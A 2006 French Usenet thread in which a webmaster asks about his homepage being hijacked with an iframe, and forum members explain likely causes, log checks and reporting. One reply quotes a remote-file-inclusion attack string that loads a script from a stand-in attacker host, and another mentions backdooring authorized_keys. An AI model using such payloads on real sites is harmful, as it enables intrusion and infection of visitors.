Mon firewall est-il correct ?

"Eric Razny" <news_01@razny.net> a écrit

Tu en as encore beaucoup des conneries du genre?

Sûrement, mais reste poli s'il te plait, je ne viens pas ici pour me
castagner.
Tout le monde n'est pas spécialiste de la sécurité informatique et si je
suis venu ici en parler c'est justement précisément parce que je ne suis pas
spécialiste. Le fait que j'aie certaines certitudes (basées sur le fait que,
jusqu'ici, je n'avais pas rencontré trop de problèmes) ne fait pas de moi un
simple d'esprit - juste un être cognitif, puisque le cerveau a constament
besoin de certitudes pour avancer.

http://www.password-crackers.com/en/category_162/

Pour ce qui est des process qui tourne je te suggère de chercher rootkit
sur un moteur de recherche.
Pour le "petit site" : cf (entre autre) aléatoire, script kiddies,
zombies... (ça vaut aussi pour les machines perso).

mais pourquoi sur la home page où c'est si facile à détecter ?

Même si j'ai une forte présomption sur (au moins) un problème avec ton
hébergeur (à cause des logs) tu devrais éviter d'être trop sur de toi.

certes

J'ai l'habitude de dire : je n'ai pas *encore* été hacké *à ma
connaissance*. Tu comprends ce que je veux exprimer?

absolument. Comme je te disais, je ne suis pas un simple d'esprit.

Entre autre, la remise en cause fait partie de la sécurité (qui est
décidement tout sauf un process :) ).

effectivement

"Nicob" <nicob@I.hate.spammers.com> a écrit

J'adooooore ton post (humour !). Il véhicule quelques unes des idées
reçues les plus classiques et les plus dangereuses quant à la sécurité
d'un site Web.

De mon côté, je ne suis pas certain de raffoler de la condescendance
techniciste.
C'est la preincipale cause de l'ignorance technique des gens comme moi : un
peu de pédagogie et de patience ne fait de mal à personne (je ne suis qu'un
couillon de prof d'arts plastiques qui a un problème à régler, hein).
Donc si ça ne te coûte pas trop, essaie de changer de ton (ou de point de
vue)

la seconde, c'est que mon site n'est pas une cible particulièrement
intéressante à pirater
Faux. Pour monter un site de phishing ou héberger le centre de contrôle

d'un botnet, un site quelconque chez un hébergeur quelconque est très
largment suffisant. Et sans doute moins surveillé qu'un "gros" site.

mais c'est là que je m'étonne : la seule page piratée sur mon site c'est la
homepage.
si j'étais un pirate et que je cherchais à utiliser des sites web à leur
insu, ça serait en me servant de dossiers ou de pages paumées et oubliées
dans un coin... ?

j'en déduis donc que c'est une cible facile
Une cible facile, pour ces gars là, c'est soit :

- un site avec une faille connue et aisément exploitable (awstats)
- un site exploitable via une faille de sécu générique (style
"/index.php?lang=http://badboy.com/hackme.php%00")
- un site dont il a déjà l'identifiant et mot de passe FTP

awstats est une faille connue ? hmmm.
mon hébergeur a justement ajouté awstats à webalizer dans les outils
fournis.

la troisième c'est que je ne rentre jamais de mots de passe, mon client
FTP
[...] s'en charge pour moi.
Donc le mot de passe est soit en base de registre soit sur disque. Et

l'éventuelle "obfuscation" est réversible, vu que le mot de passe doit
être envoyé en clair. Et ça fait des années que les backdoors/chevaux
de Troie/RAT récupèrent ces infos et les font suivre au gars qui les
contrôle. Qui parfois les revend à des phishers ...

effectivement.
mais je gère des dizaines de sites web, avec le même outil, depuis le même
ordinateur, et de la même façon. Je suis curieux de comprendre pourquoi un
de ces sites est piraté et pas les autres.

Le 14-07-2006, Jean-noel Lafargue <jnNOSPAM@hyperbate.com> a écrit :

la seconde, c'est que mon site n'est pas une cible particulièrement
intéressante à pirater
Faux. Pour monter un site de phishing ou héberger le centre de contrôle

d'un botnet, un site quelconque chez un hébergeur quelconque est très
largment suffisant. Et sans doute moins surveillé qu'un "gros" site.

mais c'est là que je m'étonne : la seule page piratée sur mon site c'est la
homepage.

si comme tu dis plus haut la redirection se fait sur le site hebforum
c'est sans doute uniquement pour booster la frequentation de ce site,
mais ca me semble curieux.

Une autre raison pourrait etre l'inclusion de code offensif: tout les
internautes qui naviguent sur ton site se font infecter par la
page incluse dans l'iframe.

si j'étais un pirate et que je cherchais à utiliser des sites web à leur
insu, ça serait en me servant de dossiers ou de pages paumées et oubliées
dans un coin... ?

pour infecter des gens, non, il vaut mieux se mettre sur la homepage.

j'en déduis donc que c'est une cible facile
Une cible facile, pour ces gars là, c'est soit :

- un site avec une faille connue et aisément exploitable (awstats)
- un site exploitable via une faille de sécu générique (style
"/index.php?lang=http://badboy.com/hackme.php%00")
- un site dont il a déjà l'identifiant et mot de passe FTP

awstats est une faille connue ? hmmm.

awstats me semble avoir un passe charge au niveau de la securite.

mon hébergeur a justement ajouté awstats à webalizer dans les outils
fournis.

la troisième c'est que je ne rentre jamais de mots de passe, mon client
FTP
[...] s'en charge pour moi.
Donc le mot de passe est soit en base de registre soit sur disque. Et

l'éventuelle "obfuscation" est réversible, vu que le mot de passe doit
être envoyé en clair. Et ça fait des années que les backdoors/chevaux
de Troie/RAT récupèrent ces infos et les font suivre au gars qui les
contrôle. Qui parfois les revend à des phishers ...

effectivement.
mais je gère des dizaines de sites web, avec le même outil, depuis le même
ordinateur, et de la même façon. Je suis curieux de comprendre pourquoi un
de ces sites est piraté et pas les autres.

hypothese personnelle:
le gars qui t'as attaque n'est pas tres malin. Il a utilise un outil tout
fait et s'est contente de cliquouiller un peu partout.
Il a trouve un login/pass et n'a pas regarde plus loin.

Mais je reverifierai tout de meme tous tes autres sites. Si un abruti
a pu venir sur un de tes sites, un gars plus fin (et beacoup plus
discret) a pu y aller aussi.
--
Kevin

"Kevin Denis" <kevin@nowhere.invalid> a écrit

si comme tu dis plus haut la redirection se fait sur le site hebforum
c'est sans doute uniquement pour booster la frequentation de ce site,
mais ca me semble curieux.

ben oui, sachant que ma fréquentation est confidentielle et que hebforum n'a
rien à voir avec un site "rémurateur"... comprends pas.

Une autre raison pourrait etre l'inclusion de code offensif: tout les
internautes qui naviguent sur ton site se font infecter par la
page incluse dans l'iframe.

ah, ça me semble assez crédible. Il faut que je voie ce que contient ce site
(qui a tout d'un site fantôme)

pour infecter des gens, non, il vaut mieux se mettre sur la homepage.

oui là ça a un sens

awstats est une faille connue ? hmmm.
awstats me semble avoir un passe charge au niveau de la securite.

j'ai un peu fouillé et c'est le cas jusqu'à la version 6.4 je crois, enfin
jusqu'à la version qui précède celle de mon hébergeur donc actuellement il
n'y a pas de faille connue dans cette config, mais je ne sais pas quand ils
ont fait la mise à jour.

hypothese personnelle:
le gars qui t'as attaque n'est pas tres malin. Il a utilise un outil tout
fait et s'est contente de cliquouiller un peu partout.
Il a trouve un login/pass et n'a pas regarde plus loin.

Il y a beaucoup d'outils tout faits pour les arnaques électroniques et ce ne
sont apparemment pas les ingénieurs en télécom qui les utilisent...
J'ai causé hier avec un responsable d'un des plus gros sites de vente en
ligne français et il me disait que les arnaques se multiplient (phishing de
plus en plus difficile à tracer, mais aussi malhonnêteté croissante du
personnel contractuel de la poste - sans être parano, car globalement les
postiers font très normalement leur métier, le nombre de colis évaporés,
mais aussi d'arnaques sophistiquées, ne cesse d'augmenter, et il semble que
ça ait un rapport avec le fait que ce n'est pas du personnel permanent mais
des intérimaires, des boites extérieures, etc.) et que le métier commence à
devenir difficile.
Du coup il ouvre un super-stor à Paris : c'est plus reposant que la VPC.

Mais je reverifierai tout de meme tous tes autres sites. Si un abruti
a pu venir sur un de tes sites, un gars plus fin (et beacoup plus
discret) a pu y aller aussi.

hmmm.

Le Fri, 14 Jul 2006 17:17:03 +0000, Jean-noel Lafargue a écrit :

"Eric Razny" <news_01@razny.net> a écrit

je suis venu ici en parler c'est justement précisément parce que je ne
suis pas spécialiste. Le fait que j'aie certaines certitudes

Désolé si je t'ai vexé, mais c'est justement parce que tu amenais des
certitudes qui m'a gêné. Et j'ai réagis fortement car beaucoup de
débutants prennent les certitudes des intervenants pour argent comptant.
Et au niveau de la sécu ça ne pardonne pas trop.

puisque le
cerveau a constament besoin de certitudes pour avancer.

Comme le dirait Gabin je sais que je ne sais rien :)
Bon, ça fait déjà une certitude alors ça marche aussi.

mais pourquoi sur la home page où c'est si facile à détecter ?

Comme d'autre l'ont suggéré c'est un emplacement privilégié pour un
code offensif. Perso je préfèrerais une autre page, pointée par la page
d'accueil, si mon code risque de produire une alerte sur le browser : les
gens auront plus tendance à penser à une erreur du site, alors que sur
la page d'accueil ça pousse à prévenir le webmaster.


Pour ton site, as tu seulement accès par ftp ou ton hébergeur
laisse-t-il d'autre accès?
Si tu t'es fait comprommettre un compte accessible par ssh, par exemple,
le gus en aura peut être profité pour "complèter" le classique
.ssh/authorized_keys2 par exemple. Et ça ça passe sans problème la
plupart des tests de vérification d'intégrité[1]

Sinon as-tu ré-interrogé ton hébergeur à propos des logs (emplacement
et protection, puisqu'apparement tu n'y as pas accès)?

Eric

[1] A leur décharge, à part avertir de l'existance du fichier je ne vois
pas trop comment décider, automatiquement, de ce qui est "bizarre"

"Eric Razny" <news_01@razny.net> a écrit

Désolé si je t'ai vexé, mais c'est justement parce que tu amenais des
certitudes qui m'a gêné. Et j'ai réagis fortement car beaucoup de
débutants prennent les certitudes des intervenants pour argent comptant.
Et au niveau de la sécu ça ne pardonne pas trop.

Je ne me vexe pas facilement, mais je me défends.

puisque le
cerveau a constament besoin de certitudes pour avancer.
Comme le dirait Gabin je sais que je ne sais rien :)

Bon, ça fait déjà une certitude alors ça marche aussi.

Et selon les sciences cognitives et la neurologie (cf.Henri Laborit), sans
certitudes, on ne peut pas progresser, on vit dans le stress, on perd ses
cheveux et, pour survivre, on adopte une attitude agressive.

Comme d'autre l'ont suggéré c'est un emplacement privilégié pour un
code offensif. Perso je préfèrerais une autre page, pointée par la page
d'accueil, si mon code risque de produire une alerte sur le browser : les
gens auront plus tendance à penser à une erreur du site, alors que sur
la page d'accueil ça pousse à prévenir le webmaster.

oui, c'est ce que je me dis d'expérience car chaque fois ce sont des amis
qui m'ont prévenu que ma home page était devenue bizarre.

Pour ton site, as tu seulement accès par ftp ou ton hébergeur
laisse-t-il d'autre accès?
Si tu t'es fait comprommettre un compte accessible par ssh, par exemple,
le gus en aura peut être profité pour "complèter" le classique
.ssh/authorized_keys2 par exemple. Et ça ça passe sans problème la
plupart des tests de vérification d'intégrité[1]

Mon hébergeur me donne accès au FTP (strictement réduit à mon dossier http),
pas de Telnet bien sûr. Il y a une console d'administration qui me permet
par ailleurs de créer des utilisateurs, des bases de données, etc.
Classique, a priori. Pas de web-FTP. Pour le reste je ne sais pas. Le
serveur n'est pas bourré d'outils, il y a bien les extensions Frontpage (je
crois que j'ai tout effacé). Il n'y a pas de SSH pour le "pack" que j'ai
choisi, mais certaines options commerciales y ont droit.

Sinon as-tu ré-interrogé ton hébergeur à propos des logs (emplacement
et protection, puisqu'apparement tu n'y as pas accès)?

Il est assez évasif et semble préférer l'idée que le problème vient de moi.
Bah...

Le Tue, 18 Jul 2006 15:04:12 +0000, Jean-noel Lafargue a écrit :

puisque le
cerveau a constament besoin de certitudes pour avancer.
Comme le dirait Gabin je sais que je ne sais rien :) Bon, ça fait

déjà une certitude alors ça marche aussi.

Et selon les sciences cognitives et la neurologie (cf.Henri Laborit), sans
certitudes, on ne peut pas progresser, on vit dans le stress, on perd ses
cheveux et, pour survivre, on adopte une attitude agressive.

Je crois que tu vas devoir apprendre à interprêter les smilies (pardon,
émoticons)...

Quand aux sciences cognitives et à la neurologie, elles ne sont pas
l'apanage du seul Sieur Laborit[1]. Il avait d'ailleurs une
tendance à prolonger ses découvertes/théories (remarquables d'ailleurs)
au delà de leur portées réelles avec des généralisations ou des soit
disant implications parfois difficilement justifiables.

Bref merci de rester axé sur l'objet de ce forum au lieu d'utiliser des
théories interressante pour faire, in fine, de la psychologie de cuisine
à deux balles.

Fin de ce gag pour moi, revenons donc à nos moutons...

Mon hébergeur me donne accès au FTP (strictement réduit à mon dossier
http), pas de Telnet bien sûr. Il y a une console d'administration qui me
permet par ailleurs de créer des utilisateurs, des bases de données,
etc. Classique, a priori. Pas de web-FTP. Pour le reste je ne sais pas. Le
serveur n'est pas bourré d'outils, il y a bien les extensions Frontpage
(je crois que j'ai tout effacé). Il n'y a pas de SSH pour le "pack" que
j'ai choisi, mais certaines options commerciales y ont droit.

En ce qui concerne ton cas c'est beaucoup mieux, car tes seuls accès
sont ftp et tes scripts. Voir ci-dessous.

Sinon as-tu ré-interrogé ton hébergeur à propos des logs
(emplacement et protection, puisqu'apparement tu n'y as pas accès)?

Il est assez évasif et semble préférer l'idée que le problème vient
de moi. Bah...

Amha tu as tout intérêt à faire une demande amiable d'abord -mais
ferme-, puis écrite en cas de refus d'explication sur la disparition des
logs. Outre le fait que tu aura une explication "définitive" sur ce point
ça te donne une certaine protection en cas de problèmes juridiques. Si
quelqu'un a subit des dommages en consultant ton site il peut
éventuellement se retourner contre toi au civil pour obtenir réparation
(le fait que ce soit très improbable ne signifie pas impossible). Ca ne
te mets pas à l'abris de tout mais montre que tu es concerné par le
problème et pose un doute sur l'hébergeur.

Néanmoins il est possible (c'est subjectif mais basé sur certains
éléments ayant trait à la méconnaissance de la sécu me poussent à le
croire) que le problème vient de ton login/passwd ftp dans la nature ou
d'un script qui ne filtre pas correctement les entrées. Ca n'explique pas
l'absence de log mais il est possible que ton hébergeur ait simplement
voulu cacher qu'il a merdé sur ce point (absence totale de log par
exemple).

A propos de log, ceux d'apache seront probablement bien interressant
(genre une forte activité avant les premières pages offenssives servies...)

Eric

[1] ils étaient au moins cinq par exemple dans l'élaboration de la
théorie psychosomatique : Groddeck, Selye, Alexander et Ryke Geerd Hamer

"Eric Razny" <news_01@razny.net> a écrit

Je crois que tu vas devoir apprendre à interprêter les smilies
(pardon, émoticons)...
Quand aux sciences cognitives et à la neurologie, elles ne sont pas
l'apanage du seul Sieur Laborit[1]. Il avait d'ailleurs une
tendance à prolonger ses découvertes/théories (remarquables d'ailleurs)
au delà de leur portées réelles avec des généralisations ou des soit
disant implications parfois difficilement justifiables.

Dans ma fac il a donné des cours en urbanisme (biologie et urbanisle), sans
être persuadé lui-même au départ qu'il y avait un rapport entre ses
découvertes sur les amphétamines et la "psychologie de la ville" qu'on
cherchait alors à inventer. Il a pourtant laissé une empreinte assez
profonde : les chercheurs qui extrapolent, c'est moins efficace que les
chercheurs bien appliqués dans leur coin, mais tellement plus excitant et
fertile au final.

Bref merci de rester axé sur l'objet de ce forum au lieu d'utiliser des
théories interressante pour faire, in fine, de la psychologie de cuisine
à deux balles.

Pourquoi cette agressivité ? Je comprends pas !
Tu parles de Gabin : je comprends que tu rigoles, et je sors une phrase sur
les sciences cognitives (que je connais un peu en fait) et Laborit (dont on
ne parle jamais assez), qui normalement peut être comprise comme comique à
son tour (tout en n'étant pas fausse, peut-être est-ce ce qui te trouble).
Bon je sais bien que chaque forum a ses gardiens chargés de chasser ceux qui
y zonent au hasard, j'ai ce rôle sur un autre forum, je respecte. En même
temps c'est casse-pieds.

Amha tu as tout intérêt à faire une demande amiable d'abord -mais
ferme-, puis écrite en cas de refus d'explication sur la disparition des
logs. Outre le fait que tu aura une explication "définitive" sur ce point
ça te donne une certaine protection en cas de problèmes juridiques. Si
quelqu'un a subit des dommages en consultant ton site il peut
éventuellement se retourner contre toi au civil pour obtenir réparation
(le fait que ce soit très improbable ne signifie pas impossible). Ca ne
te mets pas à l'abris de tout mais montre que tu es concerné par le
problème et pose un doute sur l'hébergeur.

En fait j'ai fait une petite enquête sur le site free qui héberge les pages
bizarres qui ont été incluses à la mienne. Ce site
(http://hebforum.free.fr/) est une copie mal faite d'un site associatif qui
existe (http://mediagora.free.fr/ ) et qui cache x pages telles que
http://hebforum.free.fr/Wrappers2.htm (...3.htm, 4.htm, etc.).
J'ai raconté l'histoire complète à Free et à la Gendarmerie. La gendarmerie
me recommande de tout noter (heures, dates, évènements) et de demander des
éclaircissements à mon fournisseur d'accès.

Néanmoins il est possible (c'est subjectif mais basé sur certains
éléments ayant trait à la méconnaissance de la sécu me poussent à le
croire) que le problème vient de ton login/passwd ftp dans la nature ou
d'un script qui ne filtre pas correctement les entrées. Ca n'explique pas
l'absence de log mais il est possible que ton hébergeur ait simplement
voulu cacher qu'il a merdé sur ce point (absence totale de log par
exemple).

Mon interlocuteur avait l'air un peu étonné lui-même de voir que mes logs
FTP démarraient à la date du jour.

A propos de log, ceux d'apache seront probablement bien interressant
(genre une forte activité avant les premières pages offenssives
servies...)

oui. Mais j'ai peur de ne pas bénéficier d'une oreille très attentive de la
part de mon hébergeur, j'ai peur qu'ils s'en fichent un peu, ils veulent
juste me convaincre qu'ils n'y sont pour rien.

On Fri, 14 Jul 2006 17:17:03 +0000, Jean-noel Lafargue wrote:

awstats est une faille connue ? hmmm.

Dit plus clairement : certaines versions d'awstats présentent une
vulnérabilité bien connue et aisément exploitable.


Nicob